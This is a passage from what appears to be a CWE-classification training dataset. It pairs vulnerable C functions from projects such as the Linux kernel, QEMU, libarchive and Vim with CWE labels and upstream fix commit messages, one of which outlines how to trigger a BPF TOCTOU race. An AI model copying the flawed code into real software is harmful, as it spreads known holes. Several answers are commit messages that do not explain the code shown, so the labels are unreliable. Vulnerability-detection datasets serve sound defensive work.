&ad);\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'selinux,smack: fix subjective/objective credential use mixups\n\nJann Horn reported a problem with commit eb1231f73c4d (\"selinux:\nclarify task subjective and objective credentials\") where some LSM\nhooks were attempting to access the subjective credentials of a task\nother than the current task. Generally speaking, it is not safe to\naccess another task's subjective credentials and doing so can cause\na number of problems.\n\nFurther, while looking into the problem, I realized that Smack was\nsuffering from a similar problem brought about by a similar commit\n1fb057dcde11 (\"smack: differentiate between subjective and objective\ntask credentials\").\n\nThis patch addresses this problem by restoring the use of the task's\nobjective credentials in those cases where the task is other than the\ncurrent executing task. Not only does this resolve the problem\nreported by Jann, it is arguably the correct thing to do in these\ncases.\n\nCc: stable@vger.kernel.org\nFixes: eb1231f73c4d (\"selinux: clarify task subjective and objective credentials\")\nFixes: 1fb057dcde11 (\"smack: differentiate between subjective and objective task credentials\")\nReported-by: Jann Horn \nAcked-by: Eric W. Biederman \nAcked-by: Casey Schaufler \nSigned-off-by: Paul Moore '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void chrc_read_cb(struct gatt_db_attribute *attrib,\n\t\t\t\t\tunsigned int id, uint16_t offset,\n\t\t\t\t\tuint8_t opcode, struct bt_att *att,\n\t\t\t\t\tvoid *user_data)\n{\n\tstruct external_chrc *chrc = user_data;\n\tstruct btd_device *device;\n\n\tif (chrc->attrib != attrib) {\n\t\terror(\"Read callback called with incorrect attribute\");\n\t\tgoto fail;\n\t}\n\n\tdevice = att_get_device(att);\n\tif (!device) {\n\t\terror(\"Unable to find device object\");\n\t\tgoto fail;\n\t}\n\n\tif (send_read(device, attrib, chrc->proxy, chrc->pending_reads, id,\n\t\t\t\t\toffset, bt_att_get_link_type(att)))\n\t\treturn;\n\nfail:\n\tgatt_db_attribute_read_result(attrib, id, BT_ATT_ERROR_UNLIKELY,\n\t\t\t\t\t\t\t\tNULL, 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'gatt: Fix not cleaning up when disconnected\n\nThere is a current use after free possible on a gatt server if a client\ndisconnects while a WriteValue call is being processed with dbus.\n\nThis patch includes the addition of a pending disconnect callback to handle\ncleanup better if a disconnect occurs during a write, an acquire write\nor read operation using bt_att_register_disconnect with the cb.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int scsi_disk_check_mode_select(SCSIDiskState *s, int page,\n uint8_t *inbuf, int inlen)\n{\n uint8_t mode_current[SCSI_MAX_MODE_LEN];\n uint8_t mode_changeable[SCSI_MAX_MODE_LEN];\n uint8_t *p;\n int len, expected_len, changeable_len, i;\n\n /* The input buffer does not include the page header, so it is\n * off by 2 bytes.\n */\n expected_len = inlen + 2;\n if (expected_len > SCSI_MAX_MODE_LEN) {\n return -1;\n }\n\n p = mode_current;\n memset(mode_current, 0, inlen + 2);\n len = mode_sense_page(s, page, &p, 0);\n if (len < 0 || len != expected_len) {\n return -1;\n }\n\n p = mode_changeable;\n memset(mode_changeable, 0, inlen + 2);\n changeable_len = mode_sense_page(s, page, &p, 1);\n assert(changeable_len == len);\n\n /* Check that unchangeable bits are the same as what MODE SENSE\n * would return.\n */\n for (i = 2; i < len; i++) {\n if (((mode_current[i] ^ inbuf[i - 2]) & ~mode_changeable[i]) != 0) {\n return -1;\n }\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-193'], 'message': 'hw/scsi/scsi-disk: MODE_PAGE_ALLS not allowed in MODE SELECT commands\n\nThis avoids an off-by-one read of 'mode_sense_valid' buffer in\nhw/scsi/scsi-disk.c:mode_sense_page().\n\nFixes: CVE-2021-3930\nCc: qemu-stable@nongnu.org\nReported-by: Alexander Bulekov \nFixes: a8f4bbe2900 (\"scsi-disk: store valid mode pages in a table\")\nFixes: #546\nReported-by: Qiuhao Li \nSigned-off-by: Mauro Matteo Cascella \nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: set_fflags_platform(struct archive_write_disk *a, int fd, const char *name,\n mode_t mode, unsigned long set, unsigned long clear)\n{\n\tint\t\t ret;\n\tint\t\t myfd = fd;\n\tint newflags, oldflags;\n\t/*\n\t * Linux has no define for the flags that are only settable by\n\t * the root user. This code may seem a little complex, but\n\t * there seem to be some Linux systems that lack these\n\t * defines. (?) The code below degrades reasonably gracefully\n\t * if sf_mask is incomplete.\n\t */\n\tconst int sf_mask = 0\n#if defined(FS_IMMUTABLE_FL)\n\t | FS_IMMUTABLE_FL\n#elif defined(EXT2_IMMUTABLE_FL)\n\t | EXT2_IMMUTABLE_FL\n#endif\n#if defined(FS_APPEND_FL)\n\t | FS_APPEND_FL\n#elif defined(EXT2_APPEND_FL)\n\t | EXT2_APPEND_FL\n#endif\n#if defined(FS_JOURNAL_DATA_FL)\n\t | FS_JOURNAL_DATA_FL\n#endif\n\t;\n\n\tif (set == 0 && clear == 0)\n\t\treturn (ARCHIVE_OK);\n\t/* Only regular files and dirs can have flags. */\n\tif (!S_ISREG(mode) && !S_ISDIR(mode))\n\t\treturn (ARCHIVE_OK);\n\n\t/* If we weren't given an fd, open it ourselves. */\n\tif (myfd < 0) {\n\t\tmyfd = open(name, O_RDONLY | O_NONBLOCK | O_BINARY | O_CLOEXEC);\n\t\t__archive_ensure_cloexec_flag(myfd);\n\t}\n\tif (myfd < 0)\n\t\treturn (ARCHIVE_OK);\n\n\t/*\n\t * XXX As above, this would be way simpler if we didn't have\n\t * to read the current flags from disk. XXX\n\t */\n\tret = ARCHIVE_OK;\n\n\t/* Read the current file flags. */\n\tif (ioctl(myfd,\n#ifdef FS_IOC_GETFLAGS\n\t FS_IOC_GETFLAGS,\n#else\n\t EXT2_IOC_GETFLAGS,\n#endif\n\t &oldflags) < 0)\n\t\tgoto fail;\n\n\t/* Try setting the flags as given. */\n\tnewflags = (oldflags & ~clear) | set;\n\tif (ioctl(myfd,\n#ifdef FS_IOC_SETFLAGS\n\t FS_IOC_SETFLAGS,\n#else\n\t EXT2_IOC_SETFLAGS,\n#endif\n\t &newflags) >= 0)\n\t\tgoto cleanup;\n\tif (errno != EPERM)\n\t\tgoto fail;\n\n\t/* If we couldn't set all the flags, try again with a subset. */\n\tnewflags &= ~sf_mask;\n\toldflags &= sf_mask;\n\tnewflags |= oldflags;\n\tif (ioctl(myfd,\n#ifdef FS_IOC_SETFLAGS\n\t FS_IOC_SETFLAGS,\n#else\n\t EXT2_IOC_SETFLAGS,\n#endif\n\t &newflags) >= 0)\n\t\tgoto cleanup;\n\n\t/* We couldn't set the flags, so report the failure. */\nfail:\n\tarchive_set_error(&a->archive, errno,\n\t \"Failed to set file flags\");\n\tret = ARCHIVE_WARN;\ncleanup:\n\tif (fd < 0)\n\t\tclose(myfd);\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'Never follow symlinks when setting file flags on Linux\n\nWhen opening a file descriptor to set file flags on linux, ensure\nno symbolic links are followed. This fixes the case when an archive\ncontains a directory entry followed by a symlink entry with the same\npath. The fixup code would modify file flags of the symlink target.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: set_richacl(struct archive *a, int fd, const char *name,\n struct archive_acl *abstract_acl, __LA_MODE_T mode,\n int ae_requested_type, const char *tname)\n{\n\tint\t\t ae_type, ae_permset, ae_tag, ae_id;\n\tuid_t\t\t ae_uid;\n\tgid_t\t\t ae_gid;\n\tconst char\t*ae_name;\n\tint\t\t entries;\n\tint\t\t i;\n\tint\t\t ret;\n\tint\t\t e = 0;\n\tstruct richacl *richacl = NULL;\n\tstruct richace *richace;\n\n\tret = ARCHIVE_OK;\n\tentries = archive_acl_reset(abstract_acl, ae_requested_type);\n\tif (entries == 0)\n\t\treturn (ARCHIVE_OK);\n\n\tif (ae_requested_type != ARCHIVE_ENTRY_ACL_TYPE_NFS4) {\n\t\terrno = ENOENT;\n\t\tarchive_set_error(a, errno, \"Unsupported ACL type\");\n\t\treturn (ARCHIVE_FAILED);\n\t}\n\n\trichacl = richacl_alloc(entries);\n\tif (richacl == NULL) {\n\t\tarchive_set_error(a, errno,\n\t\t\t\"Failed to initialize RichACL working storage\");\n\t\treturn (ARCHIVE_FAILED);\n\t}\n\n\te = 0;\n\n\twhile (archive_acl_next(a, abstract_acl, ae_requested_type, &ae_type,\n\t\t &ae_permset, &ae_tag, &ae_id, &ae_name) == ARCHIVE_OK) {\n\t\trichace = &(richacl->a_entries[e]);\n\n\t\trichace->e_flags = 0;\n\t\trichace->e_mask = 0;\n\n\t\tswitch (ae_tag) {\n\t\tcase ARCHIVE_ENTRY_ACL_USER:\n\t\t\tae_uid = archive_write_disk_uid(a, ae_name, ae_id);\n\t\t\trichace->e_id = ae_uid;\n\t\t\tbreak;\n\t\tcase ARCHIVE_ENTRY_ACL_GROUP:\n\t\t\tae_gid = archive_write_disk_gid(a, ae_name, ae_id);\n\t\t\trichace->e_id = ae_gid;\n\t\t\trichace->e_flags |= RICHACE_IDENTIFIER_GROUP;\n\t\t\tbreak;\n\t\tcase ARCHIVE_ENTRY_ACL_USER_OBJ:\n\t\t\trichace->e_flags |= RICHACE_SPECIAL_WHO;\n\t\t\trichace->e_id = RICHACE_OWNER_SPECIAL_ID;\n\t\t\tbreak;\n\t\tcase ARCHIVE_ENTRY_ACL_GROUP_OBJ:\n\t\t\trichace->e_flags |= RICHACE_SPECIAL_WHO;\n\t\t\trichace->e_id = RICHACE_GROUP_SPECIAL_ID;\n\t\t\tbreak;\n\t\tcase ARCHIVE_ENTRY_ACL_EVERYONE:\n\t\t\trichace->e_flags |= RICHACE_SPECIAL_WHO;\n\t\t\trichace->e_id = RICHACE_EVERYONE_SPECIAL_ID;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_MISC,\n\t\t\t \"Unsupported ACL tag\");\n\t\t\tret = ARCHIVE_FAILED;\n\t\t\tgoto exit_free;\n\t\t}\n\n\t\tswitch (ae_type) {\n\t\t\tcase ARCHIVE_ENTRY_ACL_TYPE_ALLOW:\n\t\t\t\trichace->e_type =\n\t\t\t\t RICHACE_ACCESS_ALLOWED_ACE_TYPE;\n\t\t\t\tbreak;\n\t\t\tcase ARCHIVE_ENTRY_ACL_TYPE_DENY:\n\t\t\t\trichace->e_type =\n\t\t\t\t RICHACE_ACCESS_DENIED_ACE_TYPE;\n\t\t\t\tbreak;\n\t\t\tcase ARCHIVE_ENTRY_ACL_TYPE_AUDIT:\n\t\t\tcase ARCHIVE_ENTRY_ACL_TYPE_ALARM:\n\t\t\t\tbreak;\n\t\tdefault:\n\t\t\tarchive_set_error(a, ARCHIVE_ERRNO_MISC,\n\t\t\t \"Unsupported ACL entry type\");\n\t\t\tret = ARCHIVE_FAILED;\n\t\t\tgoto exit_free;\n\t\t}\n\n\t\tfor (i = 0; i < acl_nfs4_perm_map_size; ++i) {\n\t\t\tif (ae_permset & acl_nfs4_perm_map[i].a_perm)\n\t\t\t\trichace->e_mask |= acl_nfs4_perm_map[i].p_perm;\n\t\t}\n\n\t\tfor (i = 0; i < acl_nfs4_flag_map_size; ++i) {\n\t\t\tif (ae_permset &\n\t\t\t acl_nfs4_flag_map[i].a_perm)\n\t\t\t\trichace->e_flags |= acl_nfs4_flag_map[i].p_perm;\n\t\t}\n\te++;\n\t}\n\n\t/* Fill RichACL masks */\n\t_richacl_mode_to_masks(richacl, mode);\n\n\tif (fd >= 0) {\n\t\tif (richacl_set_fd(fd, richacl) == 0)\n\t\t\tret = ARCHIVE_OK;\n\t\telse {\n\t\t\tif (errno == EOPNOTSUPP) {\n\t\t\t\t/* Filesystem doesn't support ACLs */\n\t\t\t\tret = ARCHIVE_OK;\n\t\t\t} else {\n\t\t\t\tarchive_set_error(a, errno,\n\t\t\t\t \"Failed to set richacl on fd: %s\", tname);\n\t\t\t\tret = ARCHIVE_WARN;\n\t\t\t}\n\t\t}\n\t} else if (richacl_set_file(name, richacl) != 0) {\n\t\tif (errno == EOPNOTSUPP) {\n\t\t\t/* Filesystem doesn't support ACLs */\n\t\t\tret = ARCHIVE_OK;\n\t\t} else {\n\t\t\tarchive_set_error(a, errno, \"Failed to set richacl: %s\",\n\t\t\t tname);\n\t\t\tret = ARCHIVE_WARN;\n\t\t}\n\t}\nexit_free:\n\trichacl_free(richacl);\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'Fix handling of symbolic link ACLs\n\nOn Linux ACLs on symbolic links are not supported.\nWe must avoid calling acl_set_file() on symbolic links as their\ntargets are modified instead.\n\nWhile here, do not try to set default ACLs on non-directories.\n\nFixes #1565'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *get_data(struct libmnt_fs *fs, int num)\n{\n\tchar *str = NULL;\n\tconst char *t = NULL, *v = NULL;\n\tint col_id = get_column_id(num);\n\n\tswitch (col_id) {\n\tcase COL_SOURCES:\n\t\t/* print all devices with the same tag (LABEL, UUID) */\n\t\tif ((flags & FL_EVALUATE) &&\n\t\t mnt_fs_get_tag(fs, &t, &v) == 0) {\n\t\t\tblkid_dev_iterate iter;\n\t\t\tblkid_dev dev;\n\t\t\tblkid_cache cache = NULL;\n\t\t\tstruct ul_buffer buf = UL_INIT_BUFFER;\n\t\t\tint i = 0;\n\n\t\t\tif (blkid_get_cache(&cache, NULL) < 0)\n\t\t\t\tbreak;\n\n\t\t\tblkid_probe_all(cache);\n\n\t\t\titer = blkid_dev_iterate_begin(cache);\n\t\t\tblkid_dev_set_search(iter, t, v);\n\t\t\twhile (blkid_dev_next(iter, &dev) == 0) {\n\t\t\t\tdev = blkid_verify(cache, dev);\n\t\t\t\tif (!dev)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (i != 0)\n\t\t\t\t\tul_buffer_append_data(&buf, \"\\n\", 1);\n\t\t\t\tul_buffer_append_string(&buf, blkid_dev_devname(dev));\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tblkid_dev_iterate_end(iter);\n\t\t\tstr = ul_buffer_get_data(&buf, NULL, NULL);\n\t\t\tbreak;\n\t\t}\n\t\t/* fallthrough */\n\tcase COL_SOURCE:\n\t{\n\t\tconst char *root = mnt_fs_get_root(fs);\n\t\tconst char *spec = mnt_fs_get_srcpath(fs);\n\t\tchar *cn = NULL;\n\n\t\tif (spec && (flags & FL_CANONICALIZE))\n\t\t\tspec = cn = mnt_resolve_path(spec, cache);\n\t\tif (!spec) {\n\t\t\tspec = mnt_fs_get_source(fs);\n\n\t\t\tif (spec && (flags & FL_EVALUATE))\n\t\t\t\tspec = cn = mnt_resolve_spec(spec, cache);\n\t\t}\n\t\tif (root && spec && !(flags & FL_NOFSROOT) && strcmp(root, \"/\") != 0)\n\t\t\txasprintf(&str, \"%s[%s]\", spec, root);\n\t\telse if (spec)\n\t\t\tstr = xstrdup(spec);\n\t\tif (!cache)\n\t\t\tfree(cn);\n\t\tbreak;\n\t}\n\n\tcase COL_TARGET:\n\t\tif (mnt_fs_get_target(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_target(fs));\n\t\tbreak;\n\tcase COL_FSTYPE:\n\t\tif (mnt_fs_get_fstype(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_fstype(fs));\n\t\tbreak;\n\tcase COL_OPTIONS:\n\t\tif (mnt_fs_get_options(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_options(fs));\n\t\tbreak;\n\tcase COL_VFS_OPTIONS:\n\t\tif (flags & FL_VFS_ALL)\n\t\t\tstr = mnt_fs_get_vfs_options_all(fs);\n\t\telse if (mnt_fs_get_vfs_options(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_vfs_options(fs));\n\t\tbreak;\n\tcase COL_FS_OPTIONS:\n\t\tif (mnt_fs_get_fs_options(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_fs_options(fs));\n\t\tbreak;\n\tcase COL_OPT_FIELDS:\n\t\tif (mnt_fs_get_optional_fields(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_optional_fields(fs));\n\t\tbreak;\n\tcase COL_UUID:\n\t\tstr = get_tag(fs, \"UUID\", col_id);\n\t\tbreak;\n\tcase COL_PARTUUID:\n\t\tstr = get_tag(fs, \"PARTUUID\", col_id);\n\t\tbreak;\n\tcase COL_LABEL:\n\t\tstr = get_tag(fs, \"LABEL\", col_id);\n\t\tbreak;\n\tcase COL_PARTLABEL:\n\t\tstr = get_tag(fs, \"PARTLABEL\", col_id);\n\t\tbreak;\n\n\tcase COL_MAJMIN:\n\t{\n\t\tdev_t devno = mnt_fs_get_devno(fs);\n\t\tif (!devno)\n\t\t\tbreak;\n\n\t\tif ((flags & FL_RAW) || (flags & FL_EXPORT) || (flags & FL_JSON))\n\t\t\txasprintf(&str, \"%u:%u\", major(devno), minor(devno));\n\t\telse\n\t\t\txasprintf(&str, \"%3u:%-3u\", major(devno), minor(devno));\n\t\tbreak;\n\t}\n\tcase COL_SIZE:\n\tcase COL_AVAIL:\n\tcase COL_USED:\n\tcase COL_USEPERC:\n\t\tstr = get_vfs_attr(fs, col_id);\n\t\tbreak;\n\tcase COL_FSROOT:\n\t\tif (mnt_fs_get_root(fs))\n\t\t\tstr = xstrdup(mnt_fs_get_root(fs));\n\t\tbreak;\n\tcase COL_TID:\n\t\tif (mnt_fs_get_tid(fs))\n\t\t\txasprintf(&str, \"%d\", mnt_fs_get_tid(fs));\n\t\tbreak;\n\tcase COL_ID:\n\t\tif (mnt_fs_get_id(fs))\n\t\t\txasprintf(&str, \"%d\", mnt_fs_get_id(fs));\n\t\tbreak;\n\tcase COL_PARENT:\n\t\tif (mnt_fs_get_parent_id(fs))\n\t\t\txasprintf(&str, \"%d\", mnt_fs_get_parent_id(fs));\n\t\tbreak;\n\tcase COL_PROPAGATION:\n\t\tif (mnt_fs_is_kernel(fs)) {\n\t\t\tunsigned long fl = 0;\n\t\t\tchar *n = NULL;\n\n\t\t\tif (mnt_fs_get_propagation(fs, &fl) != 0)\n\t\t\t\tbreak;\n\n\t\t\tn = xstrdup((fl & MS_SHARED) ? \"shared\" : \"private\");\n\n\t\t\tif (fl & MS_SLAVE) {\n\t\t\t\txasprintf(&str, \"%s,slave\", n);\n\t\t\t\tfree(n);\n\t\t\t\tn = str;\n\t\t\t}\n\t\t\tif (fl & MS_UNBINDABLE) {\n\t\t\t\txasprintf(&str, \"%s,unbindable\", n);\n\t\t\t\tfree(n);\n\t\t\t\tn = str;\n\t\t\t}\n\t\t\tstr = n;\n\t\t}\n\t\tbreak;\n\tcase COL_FREQ:\n\t\tif (!mnt_fs_is_kernel(fs))\n\t\t\txasprintf(&str, \"%d\", mnt_fs_get_freq(fs));\n\t\tbreak;\n\tcase COL_PASSNO:\n\t\tif (!mnt_fs_is_kernel(fs))\n\t\t\txasprintf(&str, \"%d\", mnt_fs_get_passno(fs));\n\t\tbreak;\n\tcase COL_DELETED:\n\t\tstr = xstrdup(mnt_fs_is_deleted(fs) ? \"1\" : \"0\");\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\treturn str;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-552', 'CWE-703'], 'message': 'libmount: remove support for deleted mount table entries\n\nThe \"(deleted)\" suffix has been originally used by kernel for deleted\nmountpoints. Since kernel commit 9d4d65748a5ca26ea8650e50ba521295549bf4e3\n(Dec 2014) kernel does not use this suffix for mount stuff in /proc at\nall. Let's remove this support from libmount too.\n\nSigned-off-by: Karel Zak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: get_visual_text(\n cmdarg_T\t*cap,\n char_u\t**pp,\t // return: start of selected text\n int\t\t*lenp)\t // return: length of selected text\n{\n if (VIsual_mode != 'V')\n\tunadjust_for_sel();\n if (VIsual.lnum != curwin->w_cursor.lnum)\n {\n\tif (cap != NULL)\n\t clearopbeep(cap->oap);\n\treturn FAIL;\n }\n if (VIsual_mode == 'V')\n {\n\t*pp = ml_get_curline();\n\t*lenp = (int)STRLEN(*pp);\n }\n else\n {\n\tif (LT_POS(curwin->w_cursor, VIsual))\n\t{\n\t *pp = ml_get_pos(&curwin->w_cursor);\n\t *lenp = VIsual.col - curwin->w_cursor.col + 1;\n\t}\n\telse\n\t{\n\t *pp = ml_get_pos(&VIsual);\n\t *lenp = curwin->w_cursor.col - VIsual.col + 1;\n\t}\n\tif (has_mbyte)\n\t // Correct the length to include the whole last character.\n\t *lenp += (*mb_ptr2len)(*pp + (*lenp - 1)) - 1;\n }\n reset_VIsual_and_resel();\n return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-122'], 'message': 'patch 8.2.3611: crash when using CTRL-W f without finding a file name\n\nProblem: Crash when using CTRL-W f without finding a file name.\nSolution: Bail out when the file name length is zero.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool bpf_map_is_rdonly(const struct bpf_map *map)\n{\n\treturn (map->map_flags & BPF_F_RDONLY_PROG) && map->frozen;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-367'], 'message': 'bpf: Fix toctou on read-only map's constant scalar tracking\n\nCommit a23740ec43ba (\"bpf: Track contents of read-only maps as scalars\") is\nchecking whether maps are read-only both from BPF program side and user space\nside, and then, given their content is constant, reading out their data via\nmap->ops->map_direct_value_addr() which is then subsequently used as known\nscalar value for the register, that is, it is marked as __mark_reg_known()\nwith the read value at verification time. Before a23740ec43ba, the register\ncontent was marked as an unknown scalar so the verifier could not make any\nassumptions about the map content.\n\nThe current implementation however is prone to a TOCTOU race, meaning, the\nvalue read as known scalar for the register is not guaranteed to be exactly\nthe same at a later point when the program is executed, and as such, the\nprior made assumptions of the verifier with regards to the program will be\ninvalid which can cause issues such as OOB access, etc.\n\nWhile the BPF_F_RDONLY_PROG map flag is always fixed and required to be\nspecified at map creation time, the map->frozen property is initially set to\nfalse for the map given the map value needs to be populated, e.g. for global\ndata sections. Once complete, the loader \"freezes\" the map from user space\nsuch that no subsequent updates/deletes are possible anymore. For the rest\nof the lifetime of the map, this freeze one-time trigger cannot be undone\nanymore after a successful BPF_MAP_FREEZE cmd return. Meaning, any new BPF_*\ncmd calls which would update/delete map entries will be rejected with -EPERM\nsince map_get_sys_perms() removes the FMODE_CAN_WRITE permission. This also\nmeans that pending update/delete map entries must still complete before this\nguarantee is given. This corner case is not an issue for loaders since they\ncreate and prepare such program private map in successive steps.\n\nHowever, a malicious user is able to trigger this TOCTOU race in two different\nways: i) via userfaultfd, and ii) via batched updates. For i) userfaultfd is\nused to expand the competition interval, so that map_update_elem() can modify\nthe contents of the map after map_freeze() and bpf_prog_load() were executed.\nThis works, because userfaultfd halts the parallel thread which triggered a\nmap_update_elem() at the time where we copy key/value from the user buffer and\nthis already passed the FMODE_CAN_WRITE capability test given at that time the\nmap was not \"frozen\". Then, the main thread performs the map_freeze() and\nbpf_prog_load(), and once that had completed successfully, the other thread\nis woken up to complete the pending map_update_elem() which then changes the\nmap content. For ii) the idea of the batched update is similar, meaning, when\nthere are a large number of updates to be processed, it can increase the\ncompetition interval between the two. It is therefore possible in practice to\nmodify the contents of the map after executing map_freeze() and bpf_prog_load().\n\nOne way to fix both i) and ii) at the same time is to expand the use of the\nmap's map->writecnt. The latter was introduced in fc9702273e2e (\"bpf: Add mmap()\nsupport for BPF_MAP_TYPE_ARRAY\") and further refined in 1f6cb19be2e2 (\"bpf:\nPrevent re-mmap()'ing BPF map as writable for initially r/o mapping\") with\nthe rationale to make a writable mmap()'ing of a map mutually exclusive with\nread-only freezing. The counter indicates writable mmap() mappings and then\nprevents/fails the freeze operation. Its semantics can be expanded beyond\njust mmap() by generally indicating ongoing write phases. This would essentially\nspan any parallel regular and batched flavor of update/delete operation and\nthen also have map_freeze() fail with -EBUSY. For the check_mem_access() in\nthe verifier we expand upon the bpf_map_is_rdonly() check ensuring that all\nlast pending writes have completed via bpf_map_write_active() test. Once the\nmap->frozen is set and bpf_map_write_active() indicates a map->writecnt of 0\nonly then we are really guaranteed to use the map's data as known constants.\nFor map->frozen being set and pending writes in process of still being completed\nwe fall back to marking that register as unknown scalar so we don't end up\nmaking assumptions about it. With this, both TOCTOU reproducers from i) and\nii) are fixed.\n\nNote that the map->writecnt has been converted into a atomic64 in the fix in\norder to avoid a double freeze_mutex mutex_{un,}lock() pair when updating\nmap->writecnt in the various map update/delete BPF_* cmd flavors. Spanning\nthe freeze_mutex over entire map update/delete operations in syscall side\nwould not be possible due to then causing everything to be serialized.\nSimilarly, something like synchronize_rcu() after setting map->frozen to wait\nfor update/deletes to complete is not possible either since it would also\nhave to span the user copy which can sleep. On the libbpf side, this won't\nbreak d66562fba1ce (\"libbpf: Add BPF object skeleton support\") as the\nanonymous mmap()-ed \"map initialization image\" is remapped as a BPF map-backed\nmmap()-ed memory where for .rodata it's non-writable.\n\nFixes: a23740ec43ba (\"bpf: Track contents of read-only maps as scalars\")\nReported-by: w1tcher.bupt@gmail.com\nSigned-off-by: Daniel Borkmann \nAcked-by: Andrii Nakryiko \nSigned-off-by: Alexei Starovoitov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: find_help_tags(\n char_u\t*arg,\n int\t\t*num_matches,\n char_u\t***matches,\n int\t\tkeep_lang)\n{\n char_u\t*s, *d;\n int\t\ti;\n // Specific tags that either have a specific replacement or won't go\n // through the generic rules.\n static char *(except_tbl[][2]) = {\n\t{\"*\",\t\t\"star\"},\n\t{\"g*\",\t\t\"gstar\"},\n\t{\"[*\",\t\t\"[star\"},\n\t{\"]*\",\t\t\"]star\"},\n\t{\":*\",\t\t\":star\"},\n\t{\"/*\",\t\t\"/star\"},\n\t{\"/\\\\*\",\t\"/\\\\\\\\star\"},\n\t{\"\\\"*\",\t\t\"quotestar\"},\n\t{\"**\",\t\t\"starstar\"},\n\t{\"cpo-*\",\t\"cpo-star\"},\n\t{\"/\\\\(\\\\)\",\t\"/\\\\\\\\(\\\\\\\\)\"},\n\t{\"/\\\\%(\\\\)\",\t\"/\\\\\\\\%(\\\\\\\\)\"},\n\t{\"?\",\t\t\"?\"},\n\t{\"??\",\t\t\"??\"},\n\t{\":?\",\t\t\":?\"},\n\t{\"?\",\t\"?\"},\n\t{\"g?\",\t\t\"g?\"},\n\t{\"g?g?\",\t\"g?g?\"},\n\t{\"g??\",\t\t\"g??\"},\n\t{\"-?\",\t\t\"-?\"},\n\t{\"q?\",\t\t\"q?\"},\n\t{\"v_g?\",\t\"v_g?\"},\n\t{\"/\\\\?\",\t\"/\\\\\\\\?\"},\n\t{\"/\\\\z(\\\\)\",\t\"/\\\\\\\\z(\\\\\\\\)\"},\n\t{\"\\\\=\",\t\t\"\\\\\\\\=\"},\n\t{\":s\\\\=\",\t\":s\\\\\\\\=\"},\n\t{\"[count]\",\t\"\\\\[count]\"},\n\t{\"[quotex]\",\t\"\\\\[quotex]\"},\n\t{\"[range]\",\t\"\\\\[range]\"},\n\t{\":[range]\",\t\":\\\\[range]\"},\n\t{\"[pattern]\",\t\"\\\\[pattern]\"},\n\t{\"\\\\|\",\t\t\"\\\\\\\\bar\"},\n\t{\"\\\\%$\",\t\"/\\\\\\\\%\\\\$\"},\n\t{\"s/\\\\~\",\t\"s/\\\\\\\\\\\\~\"},\n\t{\"s/\\\\U\",\t\"s/\\\\\\\\U\"},\n\t{\"s/\\\\L\",\t\"s/\\\\\\\\L\"},\n\t{\"s/\\\\1\",\t\"s/\\\\\\\\1\"},\n\t{\"s/\\\\2\",\t\"s/\\\\\\\\2\"},\n\t{\"s/\\\\3\",\t\"s/\\\\\\\\3\"},\n\t{\"s/\\\\9\",\t\"s/\\\\\\\\9\"},\n\t{NULL, NULL}\n };\n static char *(expr_table[]) = {\"!=?\", \"!~?\", \"<=?\", \"=?\", \">?\", \"is?\", \"isnot?\"};\n int flags;\n\n d = IObuff;\t\t // assume IObuff is long enough!\n d[0] = NUL;\n\n if (STRNICMP(arg, \"expr-\", 5) == 0)\n {\n\t// When the string starting with \"expr-\" and containing '?' and matches\n\t// the table, it is taken literally (but ~ is escaped). Otherwise '?'\n\t// is recognized as a wildcard.\n\tfor (i = (int)ARRAY_LENGTH(expr_table); --i >= 0; )\n\t if (STRCMP(arg + 5, 